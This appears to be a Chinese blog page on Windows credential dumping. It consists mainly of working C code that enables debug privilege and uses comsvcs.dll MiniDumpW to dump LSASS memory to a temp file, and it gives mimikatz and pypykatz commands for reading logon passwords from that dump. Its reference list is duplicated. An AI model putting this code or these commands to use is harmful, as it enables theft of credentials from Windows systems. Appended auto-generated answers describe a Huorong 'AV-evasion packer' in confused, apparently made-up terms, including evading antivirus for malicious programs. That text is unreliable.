MiniDump

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }

    CloseHandle(hSnapshot);
    return 0;
}

void GetDebugPrivilege()
{
    BOOL fOk = FALSE;
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
}

void main()
{
    wchar_t  ws[100];
    _MiniDumpW MiniDumpW;

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

    GetDebugPrivilege();

    MiniDumpW(0, 0, ws);
}

离线读取

mimikatz
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

pypykatz lsa minidump lsass.dmp

reference

https://mp.weixin.qq.com/s/x_8U23StCPbAwFG7c7tF-Q
https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html
https://antipassion.github.io/2023/03/07/Windows%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E9%9A%8F%E7%AC%94/
https://xz.aliyun.com/t/12344?time__1311=mqmhD57KGIoNDsD7GG7DyWx9imoZxr%2Bn%2BD
https://bbs.kanxue.com/thread-225761.htm
https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
https://xz.aliyun.com/t/12157?time__1311=mqmhD5DKe%2Box%2FGQ0%3DQG%3DImp1xc7PD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-11
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://adepts.of0x.cc/hookson-hootoff/
https://www.cnblogs.com/gaochundong/p/windbg_cheat_sheet.html
https://blog.csdn.net/chenyujing1234/article/details/7743460
mimikatz
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

pypykatz lsa minidump lsass.dmp

reference

https://mp.weixin.qq.com/s/x_8U23StCPbAwFG7c7tF-Q
https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html
https://antipassion.github.io/2023/03/07/Windows%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E9%9A%8F%E7%AC%94/
https://xz.aliyun.com/t/12344?time__1311=mqmhD57KGIoNDsD7GG7DyWx9imoZxr%2Bn%2BD
https://bbs.kanxue.com/thread-225761.htm
https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
https://xz.aliyun.com/t/12157?time__1311=mqmhD5DKe%2Box%2FGQ0%3DQG%3DImp1xc7PD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-11
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://adepts.of0x.cc/hookson-hootoff/
https://www.cnblogs.com/gaochundong/p/windbg_cheat_sheet.html
https://blog.csdn.net/chenyujing1234/article/details/7743460
  • 11
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: 火绒免杀加壳工具包是一款能够让程序避开杀毒软件检测的软件开发工具。该工具包可以让用户通过一系列的操作,将编写好的程序进行加密和壳化处理。 火绒免杀加壳工具包具备了多种加密和保护功能,其中包括域名加密、资源加密、指令混淆、调试保护等。通过这些功能,用户可以有效的避免杀毒软件对程序的检测和拦截。 火绒免杀加壳工具包的操作简单直观,即使是初学者也可以轻松上手。用户只需要将编写好的程序上传到工具包中,然后根据需要进行选择加密和保护功能的操作,最后点击“加壳”按钮即可完成加壳处理。 在网络安全越来越重要的今天,火绒免杀加壳工具包对于保护程序的安全性有着重要的作用。同时,该工具包的出现也提醒我们,只有真正的了解和掌握技术才能应对不断变化的网络安全环境,才能更好地保护自己的网络安全和信息安全。 ### 回答2: 火绒是一款国内知名的免费杀毒软件,同时还提供了exe免杀加壳工具包。这个工具包的作用是对exe程序进行加壳,以此来防止病毒和恶意软件的检测和识别。 火绒的exe免杀加壳工具包具有以下特点: 1. 简单易用:该工具包的操作方法简单明了,任何人都可以快速上手,即使没有编程经验也可以轻松使用。 2. 安全可靠:火绒的工具包使用先进的加密技术,保证了加壳后的程序能够更好地隐藏自己,并且不会被杀软和病毒检测出来。 3. 兼容性强:火绒的工具包不仅支持32位和64位的Windows系统,还支持多种编程语言,包括C++、C#、Delphi、VB等。 4. 灵活性高:火绒的工具包具有多种加壳选项,使用者可以根据需要选择不同的加壳方式,达到更好的防御效果。 总之,火绒的exe免杀加壳工具包是一款非常实用的工具,它能够帮助开发者和安全专家更好地保护自己的软件和系统免受恶意攻击。同时,由于火绒的声誉和安全性备受信任,该工具包的使用也更加放心和可靠。 ### 回答3: 火绒是一种exe免杀加壳工具包。它的作用是将原始的可执行文件进行加密处理,增加可执行文件在被检测时的混淆性和难度,以避免被杀软检测出来并绕过杀软的防御,使恶意程序可以成功运行。 火绒可以通过对加密算法进行优化,对代码进行混淆等方式,使加壳后的代码在被杀软检测时更加难以被识别。同时,火绒还可以免费提供远程免杀服务,帮助使用者避开杀软检测。 然而,使用火绒进行加壳并不意味着可以逃避所有安全防御。越来越多的杀软和安全产品正在开发新的技术和方法来解决加壳程序的问题。此外,使用加壳程序也有可能会对合法软件造成误判,影响正常的使用。因此,使用火绒或其他加壳工具包时,应该在进行必要的检测和测试后再使用,以免给系统安全和使用造成不必要的影响。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值